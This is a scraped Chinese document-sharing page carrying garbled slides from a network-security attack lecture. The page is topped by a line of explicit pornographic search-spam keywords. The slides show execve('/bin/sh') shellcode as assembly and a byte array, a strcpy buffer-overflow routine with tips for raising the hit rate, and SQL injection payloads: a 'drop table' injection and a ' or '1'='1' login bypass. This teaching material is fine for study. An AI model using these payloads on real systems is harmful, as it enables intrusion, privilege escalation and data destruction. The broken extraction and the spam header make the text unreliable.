freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

s07-網(wǎng)絡(luò)安全攻擊-在線瀏覽

2025-04-14 17:17本頁(yè)面
  

【正文】 域, 再跳轉(zhuǎn)到目標(biāo)程序并執(zhí)行。 獲取高級(jí)用戶甚至超級(jí)用戶權(quán)限 從而完全控制目標(biāo)主機(jī) 正常流程 Trick:程序調(diào)用的“庫(kù)函數(shù)”即系統(tǒng)函數(shù)通常具有系統(tǒng)最高權(quán)限。 name[0] = /bin/sh。 execve(name[0],name,NULL)。 } 0x80482c7 main+03:jmp 0x80482e8 main+36 0x80482c9 main+05:pop %esi 0x80482ca main+06:mov %esi,0x8(%esi) 0x80482cd main+09:xor %eax,%eax 0x80482cf main+11:mov %al,0x7(%esi) 0x80482d2 main+14:mov %eax,0xc(%esi) 0x80482d5 main+17:mov $0xb,%al 0x80482d7 main+19:mov %esi,%ebx 0x80482d9 main+21:lea 0x8(%esi),%ecx 0x80482dc main+24:lea 0xc(%esi),%edx 0x80482df main+27:int $0x80 0x80482e1 main+29:xor %ebx,%ebx 0x80482e3 main+31:mov %ebx,%eax 0x80482e5 main+33:inc %eax 0x80482e6 main+34:int $0x80 0x80482e8 main+36:call 0x80482c9 main+5 0x80482ed main+41:.string ?/bin/sh? char shellcode[] = 0x80482c7main+03:0xeb 0x2f 0x5e 0x89 0x76 0x08 0x31 0xc0 0x80482cfmain+11:0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b 0x80482d7main+19:0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0x80482dfmain+27:0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd 0x80482e7main+35:0x80 0xe8 0xdc 0xff 0xff 0xff ‘/’’b’ 0x80482ffmain+43:’i’’n’’/’’s’’h’ (該程序功能為執(zhí)行 name指定 的命令行命令;本例為打開(kāi)新 的 shell) lingli ● 代碼 網(wǎng)絡(luò)安全攻擊 23 37 c h a r sh e ll c o d e [ 4 8 ] = … (數(shù)據(jù)略)c h a r larg e _ strin g [ 3 2 ] 。v o id o v e rf lo w ( ) {c h a r b u f f e r[ 6 4 ] 。in t i。 i 8 。/* 從 sh e ll c o d e 開(kāi)始拷貝到 b u ff e r * /strc p y (b u ffe r, sh e ll c o d e )。 技巧: ① 多個(gè)代碼起始地址,提高命中率; ② 代碼以空指令開(kāi)始,提高命中率; ③ 嘗試不同的組合結(jié)構(gòu),適應(yīng)不同的棧結(jié)構(gòu)。 CityName = (CityName)。 + CityName + 39。 若 CityName輸入 Shanghai select * from OrdersTable where CityName = 39。 (查詢訂單數(shù)據(jù)表 OrdersTable中所有有關(guān) Shanghai的記錄) lingli 網(wǎng)絡(luò)安全攻擊 28 37 var CityName。 var sql = select * from OrdersTable where CityName = 39。 。 drop table OrdersTable select * from OrdersTable where CityName = 39。 drop table OrdersTable 39。)表示一個(gè)操作的結(jié)束和另一個(gè)操作的開(kāi)始; 雙連字符( )指示當(dāng)前行余下的部分是注釋內(nèi)容,應(yīng)該忽略 數(shù)據(jù)庫(kù) 將 首先檢索出 OrdersTable中 有關(guān) Shanghai的所有記錄,然后將執(zhí)行 drop table命令, 即執(zhí)行 刪除OrdersTable數(shù)據(jù)表 ! lingli 網(wǎng)絡(luò)安全攻擊 29 37 Select * from users where username=39。 and password=39。 輸入 username和 password 可用以驗(yàn)證用戶合法性 lingli 網(wǎng)絡(luò)安全攻擊 30 37 Select * from users where username=39。 and password=39。 若 username輸入 39。139。139。 39。139。139。 and password=39。 由 于 ‘1’=‘1’恒成立, 不論 password輸入什么, 用戶驗(yàn)證總是得到通過(guò)! lingli 網(wǎng)絡(luò)安全攻擊 31 37 相關(guān) SQL語(yǔ)句 如: select * from 表名 where 字段 =XX lingli 網(wǎng)絡(luò)安全攻擊 32 37 user為 SQL數(shù)據(jù)庫(kù)內(nèi)置變量,為當(dāng)前連接的用戶的用戶名 user類型為 nvarchar(不同于 int類型) user與整數(shù)型( int)的 0相比較,系統(tǒng)將嘗試把 user轉(zhuǎn)換為 int user轉(zhuǎn)換必定出錯(cuò),則報(bào)錯(cuò) —— 將 nvarchar值“ abc”轉(zhuǎn)換為 in
點(diǎn)擊復(fù)制文檔內(nèi)容
教學(xué)課件相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1